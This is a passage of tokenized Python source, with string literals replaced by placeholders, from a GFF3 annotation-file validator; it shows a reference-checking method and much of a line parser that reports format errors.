valid_sequence_regions[seqid]['<STR_LIT:start>']:<EOL><INDENT>error_lines.add(line_data['<STR_LIT>'])<EOL>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % valid_sequence_regions[seqid]['<STR_LIT:start>'], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if line_data['<STR_LIT:end>'] > valid_sequence_regions[seqid]['<STR_LIT:end>']:<EOL><INDENT>error_lines.add(line_data['<STR_LIT>'])<EOL>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % valid_sequence_regions[seqid]['<STR_LIT:end>'], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT><DEDENT>elif sequence_region:<EOL><INDENT>self.logger.debug('<STR_LIT>')<EOL><DEDENT>unresolved_seqid = set()<EOL>if (check_all_sources or fasta_embedded) and self.fasta_embedded:<EOL><INDENT>checked_at_least_one_source = True<EOL>for line_data, seqid in valid_line_data_seqid:<EOL><INDENT>if seqid not in self.fasta_embedded and seqid not in unresolved_seqid:<EOL><INDENT>unresolved_seqid.add(seqid)<EOL>error_lines.add(line_data['<STR_LIT>'])<EOL>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % seqid, '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL>continue<EOL><DEDENT>if line_data['<STR_LIT:end>'] > len(self.fasta_embedded[seqid]['<STR_LIT>']):<EOL><INDENT>error_lines.add(line_data['<STR_LIT>'])<EOL>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % len(self.fasta_embedded[seqid]['<STR_LIT>']), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if check_n and line_data['<STR_LIT:type>'] in check_n_feature_types:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>n_count = self.fasta_embedded[seqid]['<STR_LIT>'].count('<STR_LIT:N>', line_data['<STR_LIT:start>'] - <NUM_LIT:1>, line_data['<STR_LIT:end>']) + self.fasta_embedded[seqid]['<STR_LIT>'].count('<STR_LIT:n>', line_data['<STR_LIT:start>'] - <NUM_LIT:1>, line_data['<STR_LIT:end>'])<EOL>if n_count > allowed_num_of_n:<EOL><INDENT>n_segments = [(m.start(), m.end() - m.start()) for m in n_segments_finditer(self.fasta_embedded[seqid]['<STR_LIT>'], line_data['<STR_LIT:start>'] - <NUM_LIT:1>, line_data['<STR_LIT:end>'])]<EOL>n_segments_str = ['<STR_LIT>' % (m[<NUM_LIT:0>], m[<NUM_LIT:1>]) for m in n_segments]<EOL>error_lines.add(line_data['<STR_LIT>'])<EOL>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (n_count, line_data['<STR_LIT:type>'], line_data['<STR_LIT:end>'] - line_data['<STR_LIT:start>'], len(n_segments), '<STR_LIT:U+002CU+0020>'.join(n_segments_str)), '<STR_LIT>': '<STR_LIT>', '<STR_LIT>': n_segments, '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif fasta_embedded:<EOL><INDENT>self.logger.debug('<STR_LIT>')<EOL><DEDENT>unresolved_seqid = set()<EOL>if (check_all_sources or fasta_external) and self.fasta_external:<EOL><INDENT>checked_at_least_one_source = True<EOL>for line_data, seqid in valid_line_data_seqid:<EOL><INDENT>if seqid not in self.fasta_external and seqid not in unresolved_seqid:<EOL><INDENT>unresolved_seqid.add(seqid)<EOL>error_lines.add(line_data['<STR_LIT>'])<EOL>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % seqid, '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL>continue<EOL><DEDENT>if line_data['<STR_LIT:end>'] > len(self.fasta_external[seqid]['<STR_LIT>']):<EOL><INDENT>error_lines.add(line_data['<STR_LIT>'])<EOL>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % len(self.fasta_external[seqid]['<STR_LIT>']), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if check_n and line_data['<STR_LIT:type>'] in check_n_feature_types:<EOL><INDENT>n_count = self.fasta_external[seqid]['<STR_LIT>'].count('<STR_LIT:N>', line_data['<STR_LIT:start>'] - <NUM_LIT:1>, line_data['<STR_LIT:end>']) + self.fasta_external[seqid]['<STR_LIT>'].count('<STR_LIT:n>', line_data['<STR_LIT:start>'] - <NUM_LIT:1>, line_data['<STR_LIT:end>'])<EOL>if n_count > allowed_num_of_n:<EOL><INDENT>n_segments = [(m.start(), m.end() - m.start()) for m in n_segments_finditer(self.fasta_external[seqid]['<STR_LIT>'], line_data['<STR_LIT:start>'] - <NUM_LIT:1>, line_data['<STR_LIT:end>'])]<EOL>n_segments_str = ['<STR_LIT>' % (m[<NUM_LIT:0>], m[<NUM_LIT:1>]) for m in n_segments]<EOL>error_lines.add(line_data['<STR_LIT>'])<EOL>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (n_count, line_data['<STR_LIT:type>'], line_data['<STR_LIT:end>'] - line_data['<STR_LIT:start>'], len(n_segments), '<STR_LIT:U+002CU+0020>'.join(n_segments_str)), '<STR_LIT>': '<STR_LIT>', '<STR_LIT>': n_segments, '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif fasta_external:<EOL><INDENT>self.logger.debug('<STR_LIT>')<EOL><DEDENT>if check_all_sources and not checked_at_least_one_source:<EOL><INDENT>self.logger.debug('<STR_LIT>')<EOL><DEDENT>return error_lines<EOL>", "docstring": "Check seqid, bounds and the number of Ns in each feature using one or more reference sources.\n\nSeqid check: check if the seqid can be found in the reference sources.\n\nBounds check: check the start and end fields of each features and log error if the values aren't within the seqid sequence length, requires at least one of these sources: ##sequence-region, embedded #FASTA, or external FASTA file.\n\nNs check: count the number of Ns in each feature with the type specified in *line_types (default: 'CDS') and log an error if the number is greater than allowed_num_of_n (default: 0), requires at least one of these sources: embedded #FASTA, or external FASTA file.\n\nWhen called with all source parameters set as False (default), check all available sources, and log debug message if unable to perform a check due to none of the reference sources being available.\n\nIf any source parameter is set to True, check only those sources marked as True, log error if those sources don't exist.\n\n:param sequence_region: check bounds using the ##sequence-region directive (default: False)\n:param fasta_embedded: check bounds using the embedded fasta specified by the ##FASTA directive (default: False)\n:param fasta_external: check bounds using the external fasta given by the self.parse_fasta_external (default: False)\n:param check_bounds: If False, don't run the bounds check (default: True)\n:param check_n: If False, don't run the Ns check (default: True)\n:param allowed_num_of_n: only report features with a number of Ns greater than the specified value (default: 0)\n:param feature_types: only check features of these feature_types, multiple types may be specified, if none are specified, check only 'CDS'\n:return: error_lines: a set of line_index(int) with errors detected by check_reference", "id": "f5359:c0:m6"}
{"signature": "def parse(self, gff_file, strict=False):", "body": "valid_strand = set(('<STR_LIT:+>', '<STR_LIT:->', '<STR_LIT:.>', '<STR_LIT:?>'))<EOL>valid_phase = set((<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>))<EOL>multi_value_attributes = set(('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>valid_attribute_target_strand = set(('<STR_LIT:+>', '<STR_LIT:->', '<STR_LIT>'))<EOL>reserved_attributes = set(('<STR_LIT>', '<STR_LIT:Name>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>unescaped_seqid = re.compile(r'<STR_LIT>').search<EOL>unescaped_field = re.compile(r'<STR_LIT>').search<EOL>gff_fp = gff_file<EOL>if isinstance(gff_file, str):<EOL><INDENT>gff_fp = open(gff_file, '<STR_LIT:r>')<EOL><DEDENT>lines = []<EOL>current_line_num = <NUM_LIT:1> <EOL>features = defaultdict(list)<EOL>unresolved_parents = defaultdict(list)<EOL>for line_raw in gff_fp:<EOL><INDENT>line_data = {<EOL>'<STR_LIT>': current_line_num - <NUM_LIT:1>,<EOL>'<STR_LIT>': line_raw,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT:type>': '<STR_LIT>',<EOL>}<EOL>line_strip = line_raw.strip()<EOL>if line_strip != line_raw[:len(line_strip)]:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if current_line_num == <NUM_LIT:1> and not line_strip.startswith('<STR_LIT>'):<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if len(line_strip) == <NUM_LIT:0>:<EOL><INDENT>line_data['<STR_LIT>'] = '<STR_LIT:blank>'<EOL>continue<EOL><DEDENT>if line_strip.startswith('<STR_LIT>'):<EOL><INDENT>line_data['<STR_LIT>'] = '<STR_LIT>'<EOL>if line_strip.startswith('<STR_LIT>'):<EOL><INDENT>line_data['<STR_LIT>'] = '<STR_LIT>'<EOL>tokens = list(line_strip.split()[<NUM_LIT:1>:])<EOL>if len(tokens) != <NUM_LIT:3>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (len(tokens) - <NUM_LIT:1>, repr(tokens[<NUM_LIT:1>:])), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if len(tokens) > <NUM_LIT:0>:<EOL><INDENT>line_data['<STR_LIT>'] = tokens[<NUM_LIT:0>]<EOL>if [True for d in lines if ('<STR_LIT>' in d and d['<STR_LIT>'] == '<STR_LIT>' and '<STR_LIT>' in d and d['<STR_LIT>'] == line_data['<STR_LIT>'])]:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % line_data['<STR_LIT>'], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>try:<EOL><INDENT>all_good = True<EOL>try:<EOL><INDENT>line_data['<STR_LIT:start>'] = int(tokens[<NUM_LIT:1>])<EOL>if line_data['<STR_LIT:start>'] < <NUM_LIT:1>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tokens[<NUM_LIT:1>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>all_good = False<EOL>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tokens[<NUM_LIT:1>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL>line_data['<STR_LIT:start>'] = tokens[<NUM_LIT:1>]<EOL><DEDENT>try:<EOL><INDENT>line_data['<STR_LIT:end>'] = int(tokens[<NUM_LIT:2>])<EOL>if line_data['<STR_LIT:end>'] < <NUM_LIT:1>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tokens[<NUM_LIT:2>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>all_good = False<EOL>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tokens[<NUM_LIT:2>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL>line_data['<STR_LIT:start>'] = tokens[<NUM_LIT:2>]<EOL><DEDENT>if all_good and line_data['<STR_LIT:start>'] > line_data['<STR_LIT:end>']:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT>except IndexError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>elif line_strip.startswith('<STR_LIT>'):<EOL><INDENT>line_data['<STR_LIT>'] = '<STR_LIT>'<EOL>if [True for d in lines if ('<STR_LIT>' in d and d['<STR_LIT>'] == '<STR_LIT>')]:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>tokens = list(line_strip.split()[<NUM_LIT:1>:])<EOL>if len(tokens) != <NUM_LIT:1>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (len(tokens) - <NUM_LIT:1>, repr(tokens[<NUM_LIT:1>:])), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if len(tokens) > <NUM_LIT:0>:<EOL><INDENT>try:<EOL><INDENT>line_data['<STR_LIT:version>'] = int(tokens[<NUM_LIT:0>])<EOL>if line_data['<STR_LIT:version>'] != <NUM_LIT:3>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tokens[<NUM_LIT:0>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tokens[<NUM_LIT:0>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL>line_data['<STR_LIT:version>'] = tokens[<NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT>elif line_strip.startswith('<STR_LIT>'):<EOL><INDENT>line_data['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>elif line_strip.startswith('<STR_LIT>'):<EOL><INDENT>line_data['<STR_LIT>'] = '<STR_LIT>'<EOL>self.logger.info('<STR_LIT>')<EOL>self.fasta_embedded, count = fasta_file_to_dict(gff_fp)<EOL>self.logger.info('<STR_LIT>' % len(self.fasta_embedded))<EOL><DEDENT>elif line_strip.startswith('<STR_LIT>'):<EOL><INDENT>line_data['<STR_LIT>'] = '<STR_LIT>'<EOL>tokens = list(line_strip.split()[<NUM_LIT:1>:])<EOL>if len(tokens) != <NUM_LIT:1>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (len(tokens) - <NUM_LIT:1>, repr(tokens[<NUM_LIT:1>:])), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if len(tokens) > <NUM_LIT:0>:<EOL><INDENT>line_data['<STR_LIT>'] = tokens[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>elif line_strip.startswith('<STR_LIT>'):<EOL><INDENT>line_data['<STR_LIT>'] = '<STR_LIT>'<EOL>tokens = list(line_strip.split()[<NUM_LIT:1>:])<EOL>if len(tokens) != <NUM_LIT:1>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (len(tokens) - <NUM_LIT:1>, repr(tokens[<NUM_LIT:1>:])), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if len(tokens) > <NUM_LIT:0>:<EOL><INDENT>line_data['<STR_LIT>'] = tokens[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>elif line_strip.startswith('<STR_LIT>'):<EOL><INDENT>line_data['<STR_LIT>'] = '<STR_LIT>'<EOL>tokens = list(line_strip.split()[<NUM_LIT:1>:])<EOL>if len(tokens) != <NUM_LIT:1>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (len(tokens) - <NUM_LIT:1>, repr(tokens[<NUM_LIT:1>:])), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if len(tokens) > <NUM_LIT:0>:<EOL><INDENT>line_data['<STR_LIT>'] = tokens[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>elif line_strip.startswith('<STR_LIT>'):<EOL><INDENT>line_data['<STR_LIT>'] = '<STR_LIT>'<EOL>tokens = list(line_strip.split()[<NUM_LIT:1>:])<EOL>if len(tokens) != <NUM_LIT:1>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (len(tokens) - <NUM_LIT:1>, repr(tokens[<NUM_LIT:1>:])), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if len(tokens) > <NUM_LIT:0>:<EOL><INDENT>line_data['<STR_LIT>'] = tokens[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>elif line_strip.startswith('<STR_LIT>'):<EOL><INDENT>line_data['<STR_LIT>'] = '<STR_LIT>'<EOL>tokens = list(line_strip.split()[<NUM_LIT:1>:])<EOL>if len(tokens) != <NUM_LIT:2>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (len(tokens) - <NUM_LIT:1>, repr(tokens[<NUM_LIT:1>:])), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if len(tokens) > <NUM_LIT:0>:<EOL><INDENT>line_data['<STR_LIT:source>'] = tokens[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>line_data['<STR_LIT>'] = tokens[<NUM_LIT:1>]<EOL><DEDENT>except IndexError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL>tokens = list(line_strip.split())<EOL>line_data['<STR_LIT>'] = tokens[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>elif line_strip.startswith('<STR_LIT:#>'):<EOL><INDENT>line_data['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>line_data['<STR_LIT>'] = '<STR_LIT>'<EOL>tokens = list(map(str.strip, line_raw.split('<STR_LIT:\\t>')))<EOL>if len(tokens) != <NUM_LIT:9>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (len(tokens) - <NUM_LIT:1>, repr(tokens[<NUM_LIT:1>:])), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>for i, t in enumerate(tokens):<EOL><INDENT>if not t:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (i + <NUM_LIT:1>), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT>try:<EOL><INDENT>line_data['<STR_LIT>'] = tokens[<NUM_LIT:0>]<EOL>if unescaped_seqid(tokens[<NUM_LIT:0>]):<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tokens[<NUM_LIT:0>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>line_data['<STR_LIT:source>'] = tokens[<NUM_LIT:1>]<EOL>if unescaped_field(tokens[<NUM_LIT:1>]):<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tokens[<NUM_LIT:1>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>line_data['<STR_LIT:type>'] = tokens[<NUM_LIT:2>]<EOL>if unescaped_field(tokens[<NUM_LIT:2>]):<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tokens[<NUM_LIT:2>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>all_good = True<EOL>try:<EOL><INDENT>line_data['<STR_LIT:start>'] = int(tokens[<NUM_LIT:3>])<EOL>if line_data['<STR_LIT:start>'] < <NUM_LIT:1>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tokens[<NUM_LIT:3>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT:start>'})<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>all_good = False<EOL>line_data['<STR_LIT:start>'] = tokens[<NUM_LIT:3>]<EOL>if line_data['<STR_LIT:start>'] != '<STR_LIT:.>':<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % line_data['<STR_LIT:start>'], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT:start>'})<EOL><DEDENT><DEDENT>try:<EOL><INDENT>line_data['<STR_LIT:end>'] = int(tokens[<NUM_LIT:4>])<EOL>if line_data['<STR_LIT:end>'] < <NUM_LIT:1>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tokens[<NUM_LIT:4>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT:end>'})<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>all_good = False<EOL>line_data['<STR_LIT:end>'] = tokens[<NUM_LIT:4>]<EOL>if line_data['<STR_LIT:end>'] != '<STR_LIT:.>':<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % line_data['<STR_LIT:end>'], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT:end>'})<EOL><DEDENT><DEDENT>if all_good and line_data['<STR_LIT:start>'] > line_data['<STR_LIT:end>']:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>try:<EOL><INDENT>line_data['<STR_LIT>'] = float(tokens[<NUM_LIT:5>])<EOL><DEDENT>except ValueError:<EOL><INDENT>line_data['<STR_LIT>'] = tokens[<NUM_LIT:5>]<EOL>if line_data['<STR_LIT>'] != '<STR_LIT:.>':<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % line_data['<STR_LIT>'], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT>line_data['<STR_LIT>'] = tokens[<NUM_LIT:6>]<EOL>if line_data['<STR_LIT>'] not in valid_strand: <EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tokens[<NUM_LIT:6>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>try:<EOL><INDENT>line_data['<STR_LIT>'] = int(tokens[<NUM_LIT:7>])<EOL>if line_data['<STR_LIT>'] not in valid_phase: <EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tokens[<NUM_LIT:7>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>line_data['<STR_LIT>'] = tokens[<NUM_LIT:7>]<EOL>if line_data['<STR_LIT>'] != '<STR_LIT:.>':<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % line_data['<STR_LIT>'], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>elif line_data['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT>if unescaped_field(tokens[<NUM_LIT:8>]):<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>attribute_tokens = tuple(tuple(t for t in a.split('<STR_LIT:=>')) for a in tokens[<NUM_LIT:8>].split('<STR_LIT:;>') if a)<EOL>line_data['<STR_LIT>'] = {}<EOL>if len(attribute_tokens) == <NUM_LIT:1> and len(attribute_tokens[<NUM_LIT:0>]) == <NUM_LIT:1> and attribute_tokens[<NUM_LIT:0>][<NUM_LIT:0>] == '<STR_LIT:.>':<EOL><INDENT>pass <EOL><DEDENT>else:<EOL><INDENT>for a in attribute_tokens:<EOL><INDENT>if len(a) != <NUM_LIT:2>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % ('<STR_LIT:=>'.join(a)), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>try:<EOL><INDENT>tag, value = a<EOL><DEDENT>except ValueError:<EOL><INDENT>tag, value = a[<NUM_LIT:0>], '<STR_LIT>'<EOL><DEDENT>if not tag:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % '<STR_LIT:=>'.join(a), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if not value.strip():<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % '<STR_LIT:=>'.join(a), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'}, log_level=logging.WARNING)<EOL><DEDENT>if tag in line_data['<STR_LIT>']:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % tag, '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>if tag in multi_value_attributes: <EOL><INDENT>if value.find('<STR_LIT:U+002CU+0020>') >= <NUM_LIT:0>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (tag, value), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'}, log_level=logging.WARNING)<EOL><DEDENT>if tag in line_data['<STR_LIT>']: <EOL><INDENT>if tag == '<STR_LIT>': <EOL><INDENT>line_data['<STR_LIT>'][tag].extend(value.split('<STR_LIT:U+002C>'))<EOL><DEDENT>else: <EOL><INDENT>line_data['<STR_LIT>'][tag].extend([s for s in value.split('<STR_LIT:U+002C>') if s not in line_data['<STR_LIT>'][tag]])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>line_data['<STR_LIT>'][tag] = value.split('<STR_LIT:U+002C>')<EOL><DEDENT>if tag != '<STR_LIT>' and len(line_data['<STR_LIT>'][tag]) != len(set(line_data['<STR_LIT>'][tag])):<EOL><INDENT>count_values = [(len(list(group)), key) for key, group in groupby(sorted(line_data['<STR_LIT>'][tag]))]<EOL>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (tag, '<STR_LIT:U+002CU+0020>'.join(['<STR_LIT>' % (c, v) for c, v in count_values if c > <NUM_LIT:1>])), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL>line_data['<STR_LIT>'][tag] = list(set(line_data['<STR_LIT>'][tag]))<EOL><DEDENT>if tag == '<STR_LIT>':<EOL><INDENT>for feature_id in line_data['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>try:<EOL><INDENT>line_data['<STR_LIT>'].append(features[feature_id])<EOL>for ld in features[feature_id]:<EOL><INDENT>ld['<STR_LIT>'].append(line_data)<EOL><DEDENT><DEDENT>except KeyError: <EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (tag, feature_id), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL>unresolved_parents[feature_id].append(line_data)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif tag == '<STR_LIT>':<EOL><INDENT>if value.find('<STR_LIT:U+002C>') >= <NUM_LIT:0>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (tag, value), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>target_tokens = value.split('<STR_LIT:U+0020>')<EOL>if len(target_tokens) < <NUM_LIT:3> or len(target_tokens) > <NUM_LIT:4>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % (len(target_tokens), repr(tokens)), '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT>line_data['<STR_LIT>'][tag] = {}<EOL>try:<EOL><INDENT>line_data['<STR_LIT>'][tag]['<STR_LIT>'] = target_tokens[<NUM_LIT:0>]<EOL>all_good = True<EOL>try:<EOL><INDENT>line_data['<STR_LIT>'][tag]['<STR_LIT:start>'] = int(target_tokens[<NUM_LIT:1>])<EOL>if line_data['<STR_LIT>'][tag]['<STR_LIT:start>'] < <NUM_LIT:1>:<EOL><INDENT>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % target_tokens[<NUM_LIT:1>], '<STR_LIT>': '<STR_LIT>', '<STR_LIT:location>': '<STR_LIT>'})<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>all_good = False<EOL>line_data['<STR_LIT>'][tag]['<STR_LIT:start>'] = target_tokens[<NUM_LIT:1>]<EOL>self.add_line_error(line_data, {'<STR_LIT:message>': '<STR_LIT>' % line_data['<STR_LIT>'][tag]['<STR_LIT:start>'], 